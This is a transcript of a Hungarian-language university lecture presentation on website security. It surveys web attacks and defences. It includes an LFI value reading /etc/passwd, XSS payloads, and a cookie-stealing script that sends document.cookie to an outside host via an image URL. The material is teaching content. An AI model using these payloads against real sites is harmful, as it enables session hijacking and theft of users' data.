+ All Categories
Home > Documents > Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf ·...

Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf ·...

Date post: 11-Jun-2020
Category:
Upload: others
View: 11 times
Download: 0 times
Share this document with a friend
26
Weboldalak Biztonsági Kérdései
Transcript
Page 1: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Weboldalak Biztonsági Kérdései

Page 2: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Kliens szerver modellek

Page 3: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Kliens szerver modellek

Offline világ Online világ és a programokkal

szemben támasztott elvárások helyett.... Fejlesztés üteme gyors Előregyártott elemek használata ismert hibákat eredményez az alkalmazásban

Page 4: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Támadási formák SQL Injection

XSS - Cross Site Scripting (Perzisztens és nem perzisztens)

CSRF - Cross-Site Request Forgeries

Smuggling (SQL Smuggling, XSS Smuggling, stb.)

HTTP header injection

SQL Column Truncation (MySql max_packet_size 1M)

LFI és RFI (Locale és Remote File Include )

DoS, DDoS (Denial of Service, Distributed Denial of Service)

Brute Force (viharszerű támadások)

Social Engineering/Aranymosás

Page 5: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Aranymosás

Információ gyűjtése a weblapról

HTML beágyazott megjegyzések

HTML kódban elhelyezett adatok

Szerver oldali hibaüzenetek

Hibás bemenetek ellenőrzése

Alkalmazás hibaüzenetei

Page 6: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Alkalmazások

Webturkálók

BlackWindow

Wget

WebProxi programok IEHTTPHeaders, Paros

● Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat

● Hasznosak az URL-be ágyazott jelek utáni adatok &?...

Page 7: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Hibás adatbázis kapcsolatok

Beviteli mezők tesztelése

Hibajelzések összehasonlítása

Helyes user-név kitalálása

Jelszó adatok felfedése

Page 8: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Adatbázisok

Amit lehet, bízzunk az adatbázis motorra

Ellenőrzések: triggerek használata

Jogosultságok, hozzáférések használata

Lekérdezések: tárolt eljárások, view-k használata.

Lekérdezések számának csökkentése: join használata.

Megfelelő adattípusok használata.

A jelszót ne tároljuk kódolatlanul (md5, crypt, ...)

Page 9: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Fájlok és könyvtárak felfedése

Fájlok neveinek kitalálása régebbi, vagy publikus adatokból:pl.: fizetesek2009.php → fizetesek2010.php

Idefens Session ID Auditor

”Rész-webhelyek” megtalálása

URL átugrás begépelt látogatott URL megjegyzése...

Page 10: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Mintaalkalmazások CMS?

Webmotorok hibáinak kihasználása:

● Közösségi portálok látogatása● Hiba felderítése fórumokon, stb...

Védekezés módja:● Közösségi portálok látogatása...● Hiba felderítése fórumokon, stb...

Page 11: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Mintaalkalmazások CMS?

Page 12: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Védekezés

A szerver konfigurációjában letiltjuk az egyéb fájlok futtatását

.htaccess

AuthName ”admin pages”

AuthType Basic

AuthUserFile /path/path/.htpasswd

Require valid-user

Majd a htpasswd segítségével user előállításal

#htpasswd -cm .htpasswd username

Page 13: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Korlátozások felüldefiniálása

(1) Beviteli mezők (kliens oldalon) átírása

Bevihető karakterek száma MAXLENGTH = E

– Vezérlők azonosítása

(2) Vezérlő felüldefiniálás

(3) Elküldött adatok módosításával

A lenyíló listák rendezéskor, filtereknél -

- módosulnak, ezek figyelhetőek (Paros)

- módosíthatjuk pl az adatokat menet közben.

Page 14: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Állapot alapú támadás

Session, adattárolás a programban szerver oldalon adatbázisban, vagy URL/Session-ben

Sajátos állapotnélküliség a weben.

A tárolásról a programozó gondoskodik.

Az adatokat az oldalak közt át kell adni pl.: űrlap, URL

Page 15: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Alkalmazások

Webturkálók

BlackWindow

Wget

WebProxi programok IEHTTPHeaders, Paros

● Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat

● Hasznosak az URL-be ágyazott jelek utáni adatok &?...

Page 16: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Rejtett mezők felfedése

Input type hidden...

GET, POST, FILES tömbök a session-ben

<input type=hidden name=id value=1223>

Forrás vizsgálatával, vagy böngésző

Dokumentobject modelljének vizsgálatával felderíthető

PL ár, érték, stb mezők módosítása lehetségessé válik

Page 17: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Korlátozások felüldefiniálása

(1) Beviteli mezők (kliens oldalon) átírása

Bevihető karakterek száma MAXLENGTH = E

– Vezérlők azonosítása

(2) Vezérlő felüldefiniálás

(3) Elküldött adatok módosításával

A lenyíló listák rendezéskor, filtereknél -

- módosulnak, ezek figyelhetőek (Paros)

- módosíthatjuk pl az adatokat menet közben.

Page 18: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

CGI paraméterek

http://szerver.oldal.hu/index.php?d=12&oldal=a.tst

index.php?oldal=egy.php

átírva

index.php?oldal=/etc/passwd

include „$oldal”;...

include $_GET[”oldal”];...

Védekezés: GET helyett ha lehet POST, valamint ellenőrizzük az adatokat a szerver oldalon is.

Page 19: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Sütimérgezés

Persistent sütik (állandó)

Nonpersistent (nem megmaradó)

Secure (biztonsági)

Nonsecure (nem biztonsági)

Secure nem a süti, hanem a böngésző üzemmódja a süti hatására:HTTPS HTTP SSL

A süti egy idő után elévül...

Page 20: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Sütik

Helyük Firefox vagy Netscape esetén:

cookies.txt

A cookie átírásával meg lehet oldani, hogy az egyes oldalakat átugorva pl a fizetést kihagyva az áru átvételéhez ugorjunk...

Szükséges a webalkalmazás ismerete...

Oldaltérkép

Fájlinformáció

Page 21: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Alkalmazás/védelem Véletlenszerű, böngészési archívum begépelése (A sütiben tárolt sorrendinformáció kikerülése)

Védekezés:

Rejtett mezők, vagy CGI paraméterekben tároljuk

az URL-eket.

Sütik, melyek az utolső látogatott oldalt őrzik és jegyzik

HTTP-REFEERER mező és a kiindulási hely

összehasonlítása

Oldalak megtekintésének sorrendjét figyelni kell

Page 22: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Munkamenet eltérítése

Session hijacking

Ki kell cserélni a munkamenet azonosítót

Véletlenszerű módosítással

Sorozatok kitalálásával

Más userek azonosítójának elfogásával

Sokszor a munkamenet azonosítót sütiben tárolják...

Gyakori munkamenet nevek: ASPSESSIONID

JSESSIONID, PHPSESSID, CFID, CFTOKEN,...

Page 23: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

CGI session azonosítók

url/?valami&sid=1212r124r5672516745

Elfogáshoz jó a webes levelzők feltörése. Session id-k kiolvasása a válaszlevelkből (nem titkosak, mivel csak a fizetésre szólítanak fel...)

Lényege, hogy más nevében (session-jével) operálunk a webhelyen...

Page 24: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Felhasználó adatainak támadásaIdegen parancsok végrehajtása cross site scripting

Webheky űrlap, vagy URL mezőjébe parancsfájlok, utasítások elrejtése

A felhasználó bejelentkezik, majd a saját jogaival lefutattja a parancsokat.

<script>alert(”XSS alert!”)</script>

<img src=javascript:alert(”XSS Alert!”)>

<script>alert(document.cookie)</script>

Minden elem sebezhető, mely támogatja a STYLE, SRC, OBJECT, TYPE mezőket...

Page 25: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Képek scripteléseKépet helyezünk el egy oldalon.

A kép egy másik webhelyre hivatkozik (hacker gépe)

Elhelyezünk benne egy 1x1-es átlátszó gifet.

Ezt a user nem veszi észre, de a szerveren, ahova a link mutat, megjelenik a munkamenet azonosítója hibaüzenetként a logban.

Erre lehet keresni a kép neve alapján...benne lesz az azonosítója

<script>document.write(”<img src=site.com/p.gif?cookie=”+document.cookie>”)</script>

Page 26: Weboldalak Biztonsági Kérdéseiaries.ektf.hu/~serial/kiralyroland/download/preswebsecurity.pdf · Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre

Védekezés (miért nem)?Tájékozatlanság

Prioritások: biztonság, sebesség, határidő, költség, ...

Át kell gondolni a támadások lehetséges módjait

Az alapelveket be kell tartani

A helyes programozói gyakorlat sokat javít a biztonságon.


Recommended